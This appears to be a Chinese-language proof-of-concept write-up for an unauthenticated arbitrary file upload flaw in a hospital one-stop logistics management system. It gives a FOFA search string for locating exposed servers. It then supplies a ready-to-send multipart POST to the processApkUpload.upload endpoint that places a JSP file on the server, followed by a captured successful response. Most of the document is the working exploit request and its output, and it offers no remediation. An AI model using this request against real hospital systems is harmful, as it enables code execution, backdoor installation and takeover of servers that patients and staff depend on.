

# N10-1南京博纳睿通-医院一站式后勤管理系统-文件上传

## 漏洞描述：

医院一站式后勤管理系统 processApkUpload.upload 接口处任意文件上传漏洞，未经身份验证的远程攻击者可通过该漏洞在服务器端任意执行代码，写入后门，获取服务器权限，进而控制整个web 服务器。

## 网站图片：



## 网络测绘：

### fofa语法：

FOFA: body="frameworkModuleJob"

## 漏洞复现：

### payload:

```
POST /ajaxinvoke/frameworkModuleJob.processApkUpload.upload HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryFqQYtrIWb8iBxUCx

-----WebKitFormBoundaryFqQYtrIWb8iBxUCx
Content-Disposition: form-data; name="Filedata"; filename="qwe.jsp"
Content-Type: application/octet-stream

<% out.print("hello"); %>
-----WebKitFormBoundaryFqQYtrIWb8iBxUCx--
```

### 效果图：

Request

< > 数据包扫描 美化 热加载 构造请求

1 POST /ajaxinvoke/frameworkModuleJob.processApkUpload.upload HTTP/1.1

2 Host : .

3 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10\_15\_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36

4 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryFqQYtrIWb8iBxUCx

5

6 -----WebKitFormBoundaryFqQYtrIWb8iBxUCx

7 Content-Disposition: form-data; name="Filedata"; filename="qwe.jsp"

8 Content-Type: application/octet-stream

9

10 <% out.print("hello"); %>

11 -----WebKitFormBoundaryFqQYtrIWb8iBxUCx--

Responses 116bytes / 27ms

1 HTTP/1.1 200 OK

2 Server: Apache-Coyote/1.1

3 Set-Cookie: JSESSIONID=322C18CC5074AFFC330

4 Last-Modified: , 15 Apr 2024 18:39:2 CST

5 Content-Disposition: attachment; filename=d

6 Cache-Control: no-cache

7 Pragma: no-cache

8 Content-Type: text/json; charset=utf-8

9 Date: Mon, 15 Apr 2024 10:39:02 GMT

10 Content-Length: 116

11

12 {"id":"","outParameter":{"url":"http://11"},"view":"","success":true}